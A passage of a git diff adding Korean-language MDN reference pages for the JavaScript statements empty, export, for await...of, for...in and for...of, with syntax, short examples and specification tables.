+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/empty/index.html b/files/ko/web/javascript/reference/statements/empty/index.html
new file mode 100644
index 0000000000..c986c6232a
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/empty/index.html
@@ -0,0 +1,102 @@
+---
+title: empty
+slug: Web/JavaScript/Reference/Statements/Empty
+translation_of: Web/JavaScript/Reference/Statements/Empty
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>empty</strong> 문은 JavaScript 아무것도 동작하지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-empty.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">;
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>empty statement은 JavaScript구문에 하나가 필요할 때 어떤 문도 실행되지 않을 것이라는 것을 나타내는 세미 콜론(;)입니다. 여러개의 문장을 원하지만 JavaScript는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/block">block statement</a>을 사용하여 하나만 허용하며 여러개의 문장을 하나로 결합합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>빈 문은 루프 문과 함께 사용되기도합니다. 빈 루프 본문이있는 다음 예제를 참조하십시오.</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+
+// Assign all array values to 0
+for (i = 0; i &lt; arr.length; arr[i++] = 0) /* empty statement */ ;
+
+console.log(arr)
+// [0, 0, 0]
+</pre>
+
+<p><strong>참고:</strong> 정상적인 세미 콜론을 구분하는 것이 그리 쉽지 않기 때문에, empty statement를 사용할 때는 의도적으로 주석을 달아주는것이 좋습니다. 다음 예 에서는 의도한대로 코드가 동작하지 않을것입니다. 아마도 killTheUniverse()를 if문 안에서 실행하고자 했던것 같습니다.</p>
+
+<pre class="brush: js">if (condition);       // Caution, this "if" does nothing!
+   killTheUniverse()  // So this always gets executed!!!
+</pre>
+
+<p>다른 예 : 중괄호 ({})가없는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a> 문에서 <code>three</code>가 <code>true</code>이면 아무 일도 일어나지 않고 <code>four</code>를 건너 뛰고 else case의 launchRocket() 함수도 실행되지 않습니다.</p>
+
+<pre class="brush: js">if (one)
+  doOne();
+else if (two)
+  doTwo();
+else if (three)
+  ; // nothing here
+else if (four)
+  doFour();
+else
+  launchRocket();</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-empty-statement', 'Empty statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.empty")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "Block statement")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/export/index.html b/files/ko/web/javascript/reference/statements/export/index.html
new file mode 100644
index 0000000000..1c15d4e7f9
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/export/index.html
@@ -0,0 +1,199 @@
+---
+title: export
+slug: Web/JavaScript/Reference/Statements/export
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Modules
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/export
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>export</code></strong> 문은 JavaScript 모듈에서 함수, 객체, 원시 값을 내보낼 때 사용합니다. 내보낸 값은 다른 프로그램에서 {{jsxref("Statements/import", "import")}} 문으로 가져가 사용할 수 있습니다.</p>
+
+<p>내보내는 모듈은 <code>"use strict"</code>의 존재 유무와 상관없이 무조건 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>입니다. <code>export</code> 문은 HTML 안에 작성한 스크립트에서는 사용할 수 없습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">// 하나씩 내보내기
+export let <var>name1</var>, <var>name2</var>, …, <var>nameN</var>; // var, const도 동일
+export let <var>name1</var> = …, <var>name2</var> = …, …, <var>nameN</var>; // var, const도 동일
+export function functionName(){...}
+export class ClassName {...}
+
+// 목록으로 내보내기
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> };
+
+// 내보내면서 이름 바꾸기
+export { <var>variable1</var> as <var>name1</var>, <var>variable2</var> as <var>name2</var>, …, <var>nameN</var> };
+
+// 비구조화로 내보내기
+export const { <var>name1</var>, <var>name2: bar</var> } = o;
+
+// 기본 내보내기
+export default <em>expression</em>;
+export default function (…) { … } // also class, function*
+export default function name1(…) { … } // also class, function*
+export { <var>name1</var> as default, … };
+
+// 모듈 조합
+export * from …; // does not set the default export
+export * as name1 from …;
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> } from …;
+export { <var>import1</var> as <var>name1</var>, <var>import2</var> as <var>name2</var>, …, <var>nameN</var> } from …;
+export { default } from …;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>내보낼 식별자 이름. {{jsxref("Statements/import", "import")}}를 사용해 다른 스크립트에서 가져갈 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>내보내기에는 두 종류, <strong>유명</strong>(named)과 <strong>기본</strong>(default) 내보내기가 있습니다. 모듈 하나에서, 유명 내보내기는 여러 개 존재할 수 있지만 기본 내보내기는 하나만 가능합니다. 각 종류는 위의 구문 중 하나와 대응합니다.</p>
+
+<ul>
+ <li>유명 내보내기
+  <pre class="brush: js">// 먼저 선언한 식별자 내보내기
+export { myFunction, myVariable };
+
+// 각각의 식별자 내보내기
+// (변수, 상수, 함수, 클래스)
+export let myVariable = Math.sqrt(2);
+export function myFunction() { ... };
+</pre>
+ </li>
+ <li>기본 내보내기
+  <pre class="brush: js">// 먼저 선언한 식별자 내보내기
+export { myFunction as default };
+
+// 각각의 식별자 내보내기
+export default function () { ... };
+export default class { ... }
+</pre>
+ </li>
+</ul>
+
+<p>유명 내보내기는 여러 값을 내보낼 때 유용합니다. 가져갈 때는 내보낸 이름과 동일한 이름을 사용해야 합니다.</p>
+
+<p>반면 기본 내보내기는 어떤 이름으로도 가져올 수 있습니다.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// test.js</span>
+<span class="keyword token">let</span> k<span class="punctuation token">;</span> <span class="keyword token">export</span> <span class="keyword token">default</span> k <span class="operator token">=</span> <span class="number token">12</span><span class="punctuation token">;</span></code></pre>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// 임의의 다른 파일</span>
+<span class="keyword token">import</span> m <span class="keyword token">from</span> <span class="string token">'./test'</span><span class="punctuation token">;</span> <span class="comment token">// k가 기본 내보내기이므로, 가져오는 이름으로 k 대신 m을 사용해도 문제 없음</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>m<span class="punctuation token">)</span><span class="punctuation token">;</span>         <span class="comment token">// 12 기록</span></code></pre>
+
+<p>식별자 충돌을 피하기 위해 유명 내보내기 중 이름을 바꿔줄 수도 있습니다.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">export</span> <span class="punctuation token">{</span> myFunction <span class="keyword token">as</span> function1<span class="punctuation token">,</span>
+         myVariable <span class="keyword token">as</span> variable <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="다시_내보내기_조합">다시 내보내기 / 조합</h3>
+
+<p>부모 모듈이 자식 모듈을 가져와서 다시 내보낼 수도 있습니다. 즉, 여러 개의 모듈을 모아놓을 하나의 모듈을 만들 수 있습니다.</p>
+
+<pre class="brush: js">export foo from 'bar.js';
+</pre>
+
+<p>위 구문은 아래와 동일합니다.</p>
+
+<pre class="brush: js">import foo from 'bar.js';
+export foo;
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유명_내보내기_사용">유명 내보내기 사용</h3>
+
+<p>어떤 모듈에서 다음과 같은 코드를 가진다고 해보겠습니다.</p>
+
+<pre class="brush: js">// module "my-module.js"
+function cube(x) {
+  return x * x * x;
+}
+const foo = Math.PI + Math.SQRT2;
+var graph = {
+    options: {
+        color:'white',
+        thickness:'2px'
+    },
+    draw: function() {
+        console.log('From graph draw function');
+    }
+}
+export { cube, foo, graph };</pre>
+
+<p>다른 스크립트에서는 아래와 같이 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// You should use this script in html with the type module.
+// For example:
+//   &lt;script type="module" src="./demo.js"&gt;&lt;/script&gt;
+//
+// Open the page in a http server, otherwise there will be a CORS policy error.
+//
+// script demo.js
+
+import { cube, foo, graph } from 'my-module';
+graph.options = {
+    color:'blue',
+    thickness:'3px'
+};
+graph.draw();
+console.log(cube(3)); // 27
+console.log(foo);    // 4.555806215962888</pre>
+
+<h3 id="기본_내보내기_사용">기본 내보내기 사용</h3>
+
+<p>단일 값을 내보낼 때나 모듈의 폴백<sup>fallback</sup> 값이 필요할 땐 기본 내보내기를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// module "my-module.js"
+export default function cube(x) {
+  return x * x * x;
+}</pre>
+
+<p>그런 다음, 다른 스크립트에서 가져오는건 간단합니다:</p>
+
+<pre class="brush: js">import cube from './my-module.js';
+console.log(cube(3)); // 27</pre>
+
+<p><code><font face="Open Sans, arial, sans-serif">e</font>xport default</code>를 사용할 때 <code>var</code>, <code>let</code>, <code>const</code>는 사용하지 못합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Modules">JavaScript 모듈</a> 안내서</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, Hacks blog post by Lin Clark</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for-await...of/index.html b/files/ko/web/javascript/reference/statements/for-await...of/index.html
new file mode 100644
index 0000000000..c52d226e27
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for-await...of/index.html
@@ -0,0 +1,144 @@
+---
+title: for await...of
+slug: Web/JavaScript/Reference/Statements/for-await...of
+tags:
+  - 구문
+  - 반복문
+  - 비동기
+  - 식
+  - 열거
+  - 열거자
+translation_of: Web/JavaScript/Reference/Statements/for-await...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>for await...of</code> 구문</strong>은 보통 비동기에 대응하는 열거자를 나열할 때 쓰이지만, {{jsxref("String")}}, {{jsxref("Array")}}, <code>Array</code> 같은 객체 (e.g., {{jsxref("Functions/arguments", "arguments")}} or <a href="/en-US/docs/Web/API/NodeList" title="NodeList objects are collections of nodes, usually returned by properties such as Node.childNodes and methods such as document.querySelectorAll()."><code>NodeList</code></a>), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}} 같은 동기적으로 열거 가능한 객체 또한 가능하며, 사용자가 직접 정의한 동기 또는 비동기 객체도 나열할 수 있도록 해준다. 일반적인 <strong><code>for ...of</code></strong> 문과 마찬가지로 열거자 심볼이 정의한 속성을 실행하게 되어 열거한 값을 변수로 받아 처리한다.</p>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">for await (<var>variable</var> of <var>iterable</var>) {
+  <var>statement</var>
+}
+</pre>
+
+<dl>
+ <dt><code><var>variable</var></code></dt>
+ <dd>열거할 때마다 <code><var>variable</var></code>. 문을 통해 변수로 받을 수 있다. <code><var>variable</var></code> 문 안에서는 <code>const</code>, <code>let</code> 및 <code>var</code>. 문으로 선언된 변수 및 상수를 선언할 수 있다.</dd>
+ <dt><code><var>iterable</var></code></dt>
+ <dd>열거 가능한 속성이 들어가 있는 객체 및 식을 포함한다.</dd>
+</dl>
+
+<h3 id="비동기_열거_속성을_통한_열거_식">비동기 열거 속성을 통한 열거 식</h3>
+
+<p>비동기 열거 프로토콜을 담은 객체를 아래와 같이 열거할 수 있다.</p>
+
+<pre class="brush:js">const asyncIterable = {
+  [Symbol.asyncIterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i &lt; 3) {
+          return Promise.resolve({ value: this.i++, done: false });
+        }
+
+        return Promise.resolve({ done: true });
+      }
+    };
+  }
+};
+
+(async function() {
+   for await (let num of asyncIterable) {
+     console.log(num);
+   }
+})();
+
+// 0
+// 1
+// 2
+</pre>
+
+<h3 id="비동기_생성자를_통한_열거_식">비동기 생성자를 통한 열거 식</h3>
+
+<p>비동기 생성자는 애초부터 비동기 열거 프로토콜을 탑재한 채로 정의한다.이를 <code>for await...of</code> 식으로 아래와 같이 사용할 수 있다.</p>
+
+<pre class="brush: js">async function* asyncGenerator() {
+  let i = 0;
+  while (i &lt; 3) {
+    yield i++;
+  }
+}
+
+(async function() {
+  for await (let num of asyncGenerator()) {
+    console.log(num);
+  }
+})();
+// 0
+// 1
+// 2</pre>
+
+<p>좀 더 상세한 비동기 생성자를 통한 <code>for await...of </code>식의 사용법을 위해 기본 API를 통해 값을 비동기적으로 열거하는 방법을 알아본다.</p>
+
+<p>아래 예제를 통해 먼저 API를 사용하여 스트림 데이터를 통해 비동기 열거자를 만든 뒤, 스트림에서 응답이 끝나면 최종 응답 데이터 크기를 가져온다.</p>
+
+<pre class="brush: js">async function* streamAsyncIterator(stream) {
+  const reader = stream.getReader();
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) {
+        return;
+      }
+      yield value;
+    }
+  } finally {
+    reader.releaseLock();
+  }
+}
+// 주소로부터 데이터를 받아온 뒤, 응답 크기를 구하는 비동기 생성자 함수.
+async function getResponseSize(url) {
+  const response = await fetch(url);
+  // 여기에 응답 크기를 바이트 단위로 적재한다.
+  let responseSize = 0;
+  // for-await-of 문을 통해 응답이 들어올 때마다 열거 프로토콜을 통해 반복문이 작동한다.
+  for await (const chunk of streamAsyncIterator(response.body)) {
+    // 총 응답 크기를 지속적으로 누적한다.
+    responseSize += chunk.length;
+  }
+
+  console.log(`응답 크기: ${responseSize} 바이트`);
+  // 예상 출력: "응답 크기: 1071472 바이트"
+  return responseSize;
+}
+getResponseSize('https://jsonplaceholder.typicode.com/photos');</pre>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'ECMAScript Language: The for-in, for-of, and for-await-of Statements')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.for_await_of")}}</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Symbol/asyncIterator", "Symbol.asyncIterator")}}</li>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for...in/index.html b/files/ko/web/javascript/reference/statements/for...in/index.html
new file mode 100644
index 0000000000..983e50c91f
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for...in/index.html
@@ -0,0 +1,176 @@
+---
+title: for...in
+slug: Web/JavaScript/Reference/Statements/for...in
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/for...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code>for...in</code>문은 상속된 열거 가능한 속성들을 포함하여 객체에서 문자열로 키가 지정된 모든 열거 가능한 속성에 대해 반복합니다. (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Symbol</a>로 키가 지정된 속성은 무시합니다.)</p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-forin.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox notranslate">for (<var>variable</var> in <var>object</var>) {<em> ... </em>}</pre>
+
+<h3 id="Parameters" name="Parameters">파라미터</h3>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>매번 반복마다 다른 속성이름(Value name)이 변수(<em>variable)</em>로 지정됩니다.</dd>
+ <dt><code>object</code></dt>
+ <dd>반복작업을 수행할 객체로 열거형 속성을 가지고 있는 객체.</dd>
+</dl>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>for...in</code>문은 열거 가능한 non-Symbol 속성에 대해서만 반복합니다.<br>
+ <code>Array</code>나 <code>Object</code> 등 내장 constructor를 통해 만들어진 객체는  {{jsxref("String")}}의 {{jsxref("String.indexOf", "indexOf()")}}, {{jsxref("Object")}}의 {{jsxref("Object.toString", "toString()")}}와 같이 <code>Object.prototype</code>, <code>String.prototype</code> 로부터 열거가 가능하지 않은 속성들을 상속해왔습니다. <code>for...in</code>문은 객체 자체의 모든 열거 가능한 속성들과 프로토타입 체인으로부터 상속받은 속성들에 대해 반복할 것입니다. (더 가까운 프로토타입의 속성들이 프로토타입 체인 객체로부터 더 멀리 떨어진 프로토 타입의 속성보다 더 우선합니다.)</p>
+
+<h3 id="속성의_삭제_추가_수정">속성의 삭제, 추가, 수정 </h3>
+
+<p><code>for..in</code> 문은 임의의 순서로 객체의 속성들에 대해 반복합니다. (적어도 <code>cross-browser</code> 설정에서는 왜 표면적으로 보이는 반복의 순서를 따를 수 없는지에 대해서  {{jsxref("Operators/delete", "delete")}} 를 참고하십시오.)</p>
+
+<p>만약 한 반복으로 속성이 수정된 후에 방문하는 경우, 반복문에서의 그 값은 나중의 값으로 정해집니다. 방문하기 전에 삭제된 속성에 대해서는 이후에 방문하지 않습니다. 반복이 발생하는 객체에 추가된 속성은 방문하거나 반복에서 생략할 수 있습니다.</p>
+
+<p>일반적으로 현재 방문 중인 속성 외에는 반복하는 동안 객체의 속성을 추가, 수정, 제거하지 않는 것이 가장 좋습니다. 추가된 속성을 방문할 것인지, 수정된 속성(현재의 속성 제외)을 수정 이전 혹은 이후에 방문할 것인지, 삭제된 속성을 삭제 이전에 방문할 것인지에 대해서는 보장할 수 없습니다.</p>
+
+<h3 id="배열의_반복과_for...in">배열의 반복과 for...in</h3>
+
+<div class="note" id="arrayNote">
+<p><strong>Note: <code>for...in</code>은</strong> 인덱스의 순서가 중요한<strong> </strong>{{jsxref("Array")}}에서 반복을 위해 사용할 수 없습니다.</p>
+</div>
+
+<p>배열 인덱스는 정수로 된 열거 가능한 속성이며, 일반적인 객체의 속성들과 같습니다. <code>for...in</code>은 특정 순서에 따라 인덱스를 반환하는 것을 보장할 수 없습니다. <code>for...in</code>반복문은 정수가 아닌 이름을 가진 속성, 상속된 모든 열거 가능한 속성들을 반환합니다.</p>
+
+<p>반복되는 순서는 구현에 따라 다르기 때문에, 배열의 반복이 일관된 순서로 요소를 방문하지 못할 수도 있습니다. 그러므로 방문의 순서가 중요한 배열의 반복시에는 숫자 인덱스를 사용할 수 있는 <code>for</code> 반복문을 사용하는 것이 좋습니다.(또는 {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Statements/for...of", "for...of")}}를 권장합니다.)</p>
+
+<h3 id="자체_속성만_반복">자체 속성만 반복</h3>
+
+<p>만약 당신이 객체의 프로토타입이 아닌 객체 자체에 연결된 속성만 고려한다면 {{jsxref("Object.getOwnPropertyNames", "getOwnPropertyNames()")}}나 {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}를 사용하십시오.({{jsxref("Object.prototype.propertyIsEnumerable", "propertyIsEnumerable()")}} 또한 가능합니다.)  또는 외부적인 코드 간섭이 없다면 체크 메서드로 내장 프로토타입을 확장할 수 있습니다.</p>
+
+<h2 id="왜_for...in을_사용합니까">왜 for...in을 사용합니까?</h2>
+
+<p><code>for...in</code>이 객체의 반복을 위해 만들어졌지만, 배열의 반복을 위해서는 추천되지 않고,  <code>Array.prototype.forEach()</code>, <code>for...of</code>가 이미 존재합니다. 그러면 for...in은 어떻게 사용하는 것이 좋을까요?</p>
+
+<p>이것은 쉽게 객체의 속성을 확인(콘솔이나 다른 방법으로 출력)할 수 있기 때문에 실질적으로 디버깅을 위해 사용될 수 있습니다. 배열이 데이터의 저장에 있어서는 더 실용적이지만, 키-값 쌍이 선호되는 데이터의 경우(속성이 "key"의 역할을 함) 특정 값을 가진 키가 있는지 확인하려는 경우에 for...in을 사용할 수 있습니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="for...in의_사용">for...in의 사용</h3>
+
+<p>아래의 예는 열거 가능한 non-Symbol속성들을 반복해서 속성의 이름과 그 값을 기록합니다.</p>
+
+<pre class="notranslate"><code>var obj = {a: 1, b: 2, c: 3};
+
+for (const prop in obj) {
+  console.log(`obj.${prop} = ${obj[prop]}`);
+}
+
+// Output:
+// "obj.a = 1"
+// "obj.b = 2"
+// "obj.c = 3"</code></pre>
+
+<h3 id="자체_속성_반복">자체 속성 반복</h3>
+
+<p>아래는 {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}} 를 사용하는 예를 보여주고 있습니다. 상속된 속성은 표시되지 않습니다.</p>
+
+<pre class="brush: js notranslate">var triangle = {a:1, b:2, c:3};
+
+function ColoredTriangle() {
+  this.color = "red";
+}
+
+ColoredTriangle.prototype = triangle;
+
+function show_own_props(obj, objName) {
+  var result = "";
+
+  for (var prop in obj) {
+    if( obj.hasOwnProperty( prop ) ) {
+      result += objName + "." + prop + " = " + obj[prop] + "\n";
+    }
+  }
+
+  return result;
+}
+
+o = new ColoredTriangle();
+alert(show_own_props(o, "o")); /* alerts: o.color = red */
+</pre>
+
+<h2 id="상세">상세</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.6.4', 'for...in statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.statements.for_in")}}</p>
+
+<h2 id="Compatibility_Initializer_expressions_in_strict_mode">Compatibility: Initializer expressions in strict mode</h2>
+
+<p>Prior to SpiderMonkey 40 {{geckoRelease(40)}}, it was possible to use an initializer expression (<code>i=0</code>) in a <code>for...in</code> loop:</p>
+
+<pre class="notranslate"><code>var obj = {a: 1, b: 2, c: 3};
+for (var i = 0 in obj) {
+  console.log(obj[i]);
+}
+// 1
+// 2
+// 3</code></pre>
+
+<p>This nonstandard behavior is now ignored in version 40 and later, and will present a {{jsxref("SyntaxError")}} ("<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer">for-in loop head declarations may not have initializers</a>") error in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> ({{bug(748550)}} and {{bug(1164741)}}).</p>
+
+<p>Other engines such as v8 (Chrome), Chakra (IE/Edge), and JSC (WebKit/Safari) are investigating whether to remove the nonstandard behavior as well.</p>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} – a similar statement that iterates over the property <em>values</em></li>
+ <li>{{jsxref("Statements/for_each...in", "for each...in")}} {{deprecated_inline}} – a similar but deprecated statement that iterates over the values of an object's properties, rather than the property names themselves</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Generator expressions</a> (uses the <code>for...in</code> syntax)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for...of/index.html b/files/ko/web/javascript/reference/statements/for...of/index.html
new file mode 100644
index 0000000000..d082763616
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for...of/index.html
@@ -0,0 +1,228 @@
+---
+title: for...of
+slug: Web/JavaScript/Reference/Statements/for...of
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/for...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>for...of</code> 명령문</strong>은 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">반복가능한 객체</a> ({{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("String")}}, {{jsxref("TypedArray")}}, <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> 객체 등을 포함)에 대해서 반복하고 각 개별 속성값에 대해 실행되는 문이 있는 사용자 정의 반복 후크를 호출하는 루프를 생성합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-forof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">for (<em>variable</em> of <em>iterable</em>) {
+  <em>statement
+</em>}
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>각 반복에 서로 다른 속성값이 <em>variable</em>에 할당됩니다.</dd>
+ <dt><code>iterable</code></dt>
+ <dd>반복되는 열거가능(enumerable)한 속성이 있는 객체.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="jsxrefArray에_대해_반복">{{jsxref("Array")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 10
+// 20
+// 30
+</pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a> 대신 <a href="/ko/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a>도 사용할 수 있습니다, 블록 내부 변수를 수정하지 않는 경우.</p>
+
+<pre class="brush:js">let iterable = [10, 20, 30];
+
+for (const value of iterable) {
+  console.log(value);
+}
+// 10
+// 20
+// 30
+</pre>
+
+<h3 id="jsxrefString에_대해_반복">{{jsxref("String")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = "boo";
+
+for (let value of iterable) {
+  console.log(value);
+}
+// "b"
+// "o"
+// "o"
+</pre>
+
+<h3 id="jsxrefTypedArray에_대해_반복">{{jsxref("TypedArray")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = new Uint8Array([0x00, 0xff]);
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 0
+// 255
+</pre>
+
+<h3 id="jsxrefMap에_대해_반복">{{jsxref("Map")}}에 대해 반복:</h3>
+
